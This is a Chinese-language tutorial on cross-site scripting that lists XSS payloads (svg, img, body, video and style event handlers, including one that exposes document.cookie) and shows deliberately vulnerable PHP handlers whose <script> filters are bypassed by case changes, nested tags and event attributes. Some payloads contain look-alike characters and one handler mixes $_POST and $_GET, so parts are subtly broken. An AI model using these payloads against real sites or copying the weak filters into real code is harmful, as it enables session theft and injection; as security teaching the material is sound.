攻擊載荷:
以下所有標簽的 > 都可以用 // 代替, 例如 #彈出hack #彈出hack #彈出1,對於數字可以不用引號 #彈出cookie #引用外部的xss
svg標簽 :
```javascript
<svg onload="alert(1)">
<svg onload="alert(1)"//
標簽:
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #彈出cookie
標簽:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
video標簽:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
style標簽:
<style οnlοad=alert(1)></style>
可以進行過濾繞過,以達到XSS攻擊的目的。
區分大小寫過濾標簽
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //過濾<script>
$name=preg_replace("/<\/script>/","",$name); //過濾</script>
echo $name;
}
?>
繞過技巧:可以使用大小寫繞過
不區分大小寫過濾標簽
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/i","",$name); //不區分大小寫過濾 <script>
$name=preg_replace("/<\/script>/i","",$name); //不區分大小寫過濾 </script>
echo $name;
}
?>
繞過技巧:可以使用嵌套的script標簽繞過 <script>
不區分大小寫,過濾之間的所有內容
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //過濾了<script 及其之間的所有內容
echo $name;
}
?>
雖然無法使用 <script>
標簽注入XSS代碼,但是可以通過img、body等標簽的事件或者 iframe 等標簽的 src 注入惡意的 js 代碼。
我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然后看看頁面的變化